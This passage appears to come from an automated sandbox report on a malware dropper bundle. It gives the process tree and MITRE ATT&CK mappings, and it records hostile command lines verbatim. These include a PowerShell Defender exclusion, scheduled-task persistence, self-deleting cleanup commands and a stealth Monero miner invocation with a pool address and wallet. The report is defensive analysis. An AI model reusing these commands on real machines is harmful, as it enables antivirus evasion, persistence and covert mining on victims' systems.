    - Suspicious use of WriteProcessMemory
    PID:1136
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:584
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        
        PID:1020
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1176
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11d7385a978cc.exe
        
        Tue11d7385a978cc.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
      4⤵
      Loads dropped DLL
      PID:1480
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11b9d76a96506.exe
        
        Tue11b9d76a96506.exe
        5⤵
        Executes dropped EXE
        
        PID:1060
      - C:\Users\Admin\AppData\Local\Temp\is-AOP3D.tmp\Tue11b9d76a96506.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-AOP3D.tmp\Tue11b9d76a96506.tmp" /SL5="$20198,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11b9d76a96506.exe"
        6⤵
        Executes dropped EXE
        
        PID:2468
        
        C:\Users\Admin\AppData\Local\Temp\is-PC0FG.tmp\46807GHF____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-PC0FG.tmp\46807GHF____.exe" /S /UID=burnerch2
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2352
        
        C:\Program Files\Windows Media Player\BRTQCICVXO\ultramediaburner.exe
        
        "C:\Program Files\Windows Media Player\BRTQCICVXO\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:3964
        
        C:\Users\Admin\AppData\Local\Temp\1a-6741b-e53-66ab3-5422ce0c78a4e\Vaqaepymoja.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1a-6741b-e53-66ab3-5422ce0c78a4e\Vaqaepymoja.exe"
        8⤵
        
        PID:3984
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        
        PID:1908
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1908 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:1744
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1908 CREDAT:603146 /prefetch:2
        10⤵
        
        PID:1624
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:2700
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2700 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:3112
        
        C:\Users\Admin\AppData\Local\Temp\9b-b9861-281-e23ae-24a185d7336d1\Cemujiwaku.exe
        
        "C:\Users\Admin\AppData\Local\Temp\9b-b9861-281-e23ae-24a185d7336d1\Cemujiwaku.exe"
        8⤵
        
        PID:4008
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1876
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue1109eec571ac.exe
        
        Tue1109eec571ac.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1748
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue1109eec571ac.exe" & exit
        6⤵
        
        PID:2592
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Tue1109eec571ac.exe" /f
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
      4⤵
      Loads dropped DLL
      PID:1348
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11141271fbe5877f.exe
        
        Tue11141271fbe5877f.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1540
      - C:\ProgramData\2023952.exe
        
        "C:\ProgramData\2023952.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2304
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2304 -s 1648
        7⤵
        Program crash
        
        PID:3584
      - C:\ProgramData\5964056.exe
        
        "C:\ProgramData\5964056.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:2340
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:2988
      - C:\ProgramData\8397730.exe
        
        "C:\ProgramData\8397730.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2712
      - C:\ProgramData\794060.exe
        
        "C:\ProgramData\794060.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:3024
      - C:\ProgramData\5548244.exe
        
        "C:\ProgramData\5548244.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1020
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 1632
        7⤵
        Program crash
        
        PID:3292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
      4⤵
      Loads dropped DLL
      PID:752
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue118f55232e4.exe
        
        Tue118f55232e4.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1120
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:2172
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2204
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
      4⤵
      Loads dropped DLL
      PID:1616
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue112c483dd3245d.exe
        
        Tue112c483dd3245d.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:608
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Tue112c483dd3245d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue112c483dd3245d.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:1988
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
      4⤵
      Loads dropped DLL
      PID:692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
      4⤵
      Loads dropped DLL
      PID:1564
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
      4⤵
      Loads dropped DLL
      PID:1900

C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11bc0507b56295.exe
Tue11bc0507b56295.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2016

C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
Tue11e4e580f2e8141a3.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1672
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2104
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2240
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:1708
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:1100
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3068
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2760
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2608
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2364
- C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3048

C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\Tue11f251db82fb7b.exe
Tue11f251db82fb7b.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:540
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2256
- - C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
    3⤵
    PID:2352
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      PID:2644
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:2872
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      Executes dropped EXE
      PID:2100
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        5⤵
        
        PID:3100
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:3192
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:3136
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        5⤵
        
        PID:2440
- - C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
    "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2424
  - - C:\Users\Admin\AppData\Roaming\1901626.exe
      "C:\Users\Admin\AppData\Roaming\1901626.exe"
      4⤵
      Executes dropped EXE
      PID:2996
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2996 -s 1636
        5⤵
        Program crash
        
        PID:1228
  - - C:\Users\Admin\AppData\Roaming\6468569.exe
      "C:\Users\Admin\AppData\Roaming\6468569.exe"
      4⤵
      PID:436
  - - C:\Users\Admin\AppData\Roaming\3299671.exe
      "C:\Users\Admin\AppData\Roaming\3299671.exe"
      4⤵
      PID:2032
  - - C:\Users\Admin\AppData\Roaming\7693531.exe
      "C:\Users\Admin\AppData\Roaming\7693531.exe"
      4⤵
      PID:3128
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3128 -s 1656
        5⤵
        Program crash
        
        PID:3660
- - C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
    "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2460
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
      4⤵
      PID:1704
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Alfanewfile2.exe /f
        5⤵
        Kills process with taskkill
        
        PID:1336
- - C:\Users\Admin\AppData\Local\Temp\2.exe
    "C:\Users\Admin\AppData\Local\Temp\2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2496
  - - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
      "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
      4⤵
      Executes dropped EXE
      PID:2296
    - - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        5⤵
        
        PID:2916
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    - Executes dropped EXE
    PID:2540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
      4⤵
      PID:2064
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2388
- - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
    3⤵
    - Executes dropped EXE
    PID:2788
  - - C:\Users\Admin\AppData\Local\Temp\is-GEIR1.tmp\setup_2.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-GEIR1.tmp\setup_2.tmp" /SL5="$1016E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
      4⤵
      Executes dropped EXE
      PID:2936
    - - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        5⤵
        Executes dropped EXE
        
        PID:908
      - C:\Users\Admin\AppData\Local\Temp\is-R20MD.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-R20MD.tmp\setup_2.tmp" /SL5="$2016E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:1944
- - C:\Users\Admin\AppData\Local\Temp\3002.exe
    "C:\Users\Admin\AppData\Local\Temp\3002.exe"
    3⤵
    - Executes dropped EXE
    PID:2852
- - C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
    "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
    3⤵
    - Executes dropped EXE
    PID:3000
- - C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
    "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3036

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2528
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2516

C:\Users\Admin\AppData\Local\Temp\1610.exe
C:\Users\Admin\AppData\Local\Temp\1610.exe
1⤵
PID:3572

C:\Users\Admin\AppData\Local\Temp\F25B.exe
C:\Users\Admin\AppData\Local\Temp\F25B.exe
1⤵
PID:1996

C:\Users\Admin\AppData\Local\Temp\46C3.exe
C:\Users\Admin\AppData\Local\Temp\46C3.exe
1⤵
PID:1116

C:\Users\Admin\AppData\Local\Temp\DE41.exe
C:\Users\Admin\AppData\Local\Temp\DE41.exe
1⤵
PID:908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery